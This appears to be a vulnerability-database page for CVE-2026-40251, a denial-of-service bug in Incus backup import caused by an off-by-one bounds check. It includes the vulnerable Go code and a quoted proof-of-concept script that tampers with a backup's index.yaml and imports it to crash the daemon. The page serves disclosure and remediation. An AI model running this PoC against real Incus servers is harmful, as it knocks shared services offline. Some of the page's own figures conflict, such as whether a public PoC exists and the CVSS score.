Skip to main content

Incus CVE-2026-40251

HIGH
Out-of-bounds Read (CWE-125)
2026-05-04 https://github.com/lxc/incus GHSA-4m88-wxj4-9qj6
7.1
CVSS 4.0 · Vendor: https://github.com/lxc/incus
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Create backup with snapshot
  2. Delivery
    Tamper index.yaml to empty metadata arrays
  3. Exploit
    Submit malicious backup via incus import
  4. Install
    Trigger loop iteration with out-of-bounds array access
  5. C2
    Runtime panic
  6. Execute
    Incus daemon crash
  7. Impact
    Denial of service

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V15 - Secure Coding and Architecture Bounds checking, read limits
MITRE ATT&CK

1 technique across 1 tactic: Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be an authenticated user with access to Incus' storage volume and backup/restore features (PR:L in CVSS vector confirms authentication is required). The vulnerability is triggered specifically during backup import (incus import command) or instance migration operations-these are the only code paths where the vulnerable bounds-check logic executes. Default Incus installations allow any authenticated user to create and manage backups, making this condition easily satisfied in multi-tenant or shared environments. No special configuration is required; the vulnerability exists in the default code path. The attack does NOT require administrative privileges-low-privilege users can trigger it. Limiting factors: (1) The attacker must have network access to the Incus daemon (AV:N confirmed by CVSS), typically local network or remote if exposed. (2) The attacker must know or be able to guess valid instance or backup names. (3) The backup format must be valid enough for parsing (the exploit still requires a properly structured tar.gz with index.yaml), though the metadata arrays can be empty. (4) Incus must be running and accepting import requests-a crashed daemon cannot process additional exploits until restarted.

Impact

CVSS score of 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H) indicates moderate risk with network accessibility, low attack complexity, and high availability impact. The vector confirms remote unauthenticated exploitation is NOT possible-authentication is required (PR:L means low privilege/authenticated user). However, the real-world risk is elevated by the availability impact (denial of service): a low-privilege authenticated user can repeatedly crash the Incus daemon, preventing legitimate service operation. The public proof-of-concept demonstrates the attack is trivial to execute (craft a backup archive, tamper index.yaml, import it). Unlike information-disclosure vulnerabilities with high CVSS but limited real-world impact, this vulnerability directly disables a critical service. The attack surface is limited to users with Incus storage volume access, but in shared environments or multi-tenant deployments, this may include unprivileged users. No exploitation probability (EPSS) or CISA KEV status provided in input, but the PoC and public advisory suggest active exploitation risk post-disclosure. Patch availability (version 7.0.0) further supports remediation priority.

Exploit ScenarioDerived

A low-privilege authenticated user in a shared Incus deployment obtains or crafts a backup archive of an Incus instance with a snapshot. The user modifies the backup's index.yaml file to empty the snapshots and volume_snapshots metadata arrays while leaving the physical snapshot directories intact in the archive. The user then submits the malicious backup via incus import. The Incus daemon processes the backup, iterates through the physical snapshot directories, and attempts to access metadata at indices beyond the length of the now-empty metadata arrays, triggering an out-of-bounds panic. The daemon crashes, rendering Incus unavailable until manually restarted. The attacker repeats this weekly or on-demand to maintain denial of service.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Denial of service in Incus prior to version 7.0.0 allows authenticated users to crash the Incus daemon by importing a maliciously crafted backup archive with physical snapshot directories but tampered metadata arrays. The vulnerability stems from an incorrect bounds check (len(slice) >= i-1 instead of len(slice) > i) in the backup restore and migration code paths, enabling out-of-bounds array access that triggers a runtime panic. Repeated exploitation keeps the Incus service offline, confirmed by a publicly available proof-of-concept.

RemediationAI

Upgrade Incus to version 7.0.0 or later immediately to apply the fix for the out-of-bounds bounds check in backup restore and migration code paths. Vendor-released patch: 7.0.0. Until patching is feasible, mitigate by restricting access to the Incus backup/restore and migration features to trusted administrators only-disable or block the import endpoint (incus import) for untrusted users via network segmentation or API access controls. Additionally, disable instance snapshots if not required, or implement quota restrictions on snapshot counts per user to limit attack surface. Note that these mitigations do not eliminate the vulnerability; they only reduce exposure. Recommended advisory link: https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6.

Affected Packages

go github.com/lxc/incus no fix
go github.com/lxc/incus/v6 no fix
go github.com/lxc/incus/v6/cmd/incusd fix: 7.0.0
go github.com/lxc/incus/v7 fix: 7.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in Incus' backup restore and instance migration subsystems (internal/server/storage/backend.go), specifically in the CreateInstanceFromBackup and CreateInstanceFromMigration functions. When processing backup archives containing physical snapshot directories, the code iterates through snapshots and attempts to correlate them with metadata from parsed YAML configuration slices (Config.Snapshots and Config.VolumeSnapshots). The flawed bounds check uses len(slice) >= i-1, which permits array indexing when i equals len(slice), resulting in out-of-bounds access in Go. The root cause is a classic off-by-one error in array bounds validation (CWE-125: Out-of-bounds Read). An attacker provides a backup with physical snapshot directories that drive the loop counter i, while the index.yaml contains empty or truncated snapshot metadata arrays, causing len(Config.Snapshots) and len(Config.VolumeSnapshots) to be less than the expected index, triggering an immediate runtime panic when the daemon attempts slice[i] dereference.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE 6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
May 06, 2026 - 21:22 NVD
MEDIUM HIGH
CVSS changed
May 06, 2026 - 21:22 NVD
6.5 (MEDIUM) 7.1 (HIGH)

DescriptionCVE.org

Summary

Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details

The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.

When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.

An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code:

func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {
    [...]
    postHook := func(inst instance.Instance) error {
        [...]
        for i, backupFileSnap := range srcBackup.Snapshots {
            var volumeSnapDescription string
            var volumeSnapConfig map[string]string
            var volumeSnapExpiryDate time.Time
            var volumeSnapCreationDate time.Time

            // Check if snapshot volume config is available for restore and matches snapshot name.
            if srcBackup.Config != nil {
                if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {
                    // Use instance snapshot's creation date if snap info available.
                    volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt
                }

                if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {
                    // If the backup restore interface provides volume snapshot config use it,
                    // otherwise use default volume config for the storage pool.
                    volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description
                    volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config

                    if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {
                        volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt
                    }

                    // Use volume's creation date if available.
                    if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
                        volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt
                    }
                }
            }

            [...]
        }
        [...]
    }
    [...]
}

[...]

func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {
    [...]
    if !isRemoteClusterMove || args.StoragePool != "" {
        for i, snapshot := range args.Snapshots {
            snapName := snapshot.GetName()
            newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)
            snapConfig := vol.Config()           // Use parent volume config by default.
            snapDescription := volumeDescription // Use parent volume description by default.
            snapExpiryDate := time.Time{}
            snapCreationDate := time.Time{}

            // If the source snapshot config is available, use that.
            if srcInfo != nil && srcInfo.Config != nil {
                if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {
                    // Use instance snapshot's creation date if snap info available.
                    snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt
                }

                if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {
                    // Check if snapshot volume config is available then use it.
                    snapDescription = srcInfo.Config.VolumeSnapshots[i].Description
                    snapConfig = srcInfo.Config.VolumeSnapshots[i].Config

                    if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {
                        snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt
                    }

                    // Use volume's creation date if available.
                    if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
                        snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt
                    }
                }
            }

            [...]
        }
    }
    [...]
}

PoC

The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.

Step 1: Generate a valid backup and tamper with its snapshot metadata

From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.

Commands:

cat <<'EOF' > poc_snapshot_bounds.sh
#!/bin/bash
set -e

BASE_NAME="base-$(date +%s)"
PANIC_NAME="panic-$(date +%s)"

incus init images:alpine/edge "$BASE_NAME" --project default
incus snapshot create "$BASE_NAME" snap0 --project default
incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default

mkdir -p extract_snapshot_bounds
tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/
chmod -R u+rwX extract_snapshot_bounds/

python3 -c "
import os
import sys

base = '$BASE_NAME'
panic = '$PANIC_NAME'

with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:
    lines = f.read().splitlines()

out = []
in_skip = False
skip_indent = 0

for line in lines:
    line = line.replace(base, panic)
    indent = len(line) - len(line.lstrip())

    if in_skip:
        if not line.strip():
            continue
        if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):
            continue
        else:
            in_skip = False

    if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):
        out.append(line.split(':')[0] + ': []')
        in_skip = True
        skip_indent = indent
        continue

    out.append(line)

with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:
    f.write('\n'.join(out))
"

cd extract_snapshot_bounds/
tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/
cd ..

rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz
echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz"
EOF

bash poc_snapshot_bounds.sh

Result:

[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz

Step 2: Trigger the vulnerable restore path

From the same Incus client, import the crafted archive.

Command:

incus import exploit_snapshot_bounds_panic.tar.gz --project default

Result:

Error: websocket: close 1006 (abnormal closure): unexpected EOF

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

A buffer overflow occurs when a program writes more data to a memory buffer than it was allocated to hold, causing the excess data to spill into adjacent memory regions.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)CVE.org

pkg:go/github.com_lxc_incus_v6_cmd_incusd

Vendor StatusVendor

SUSE

Severity: Medium

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy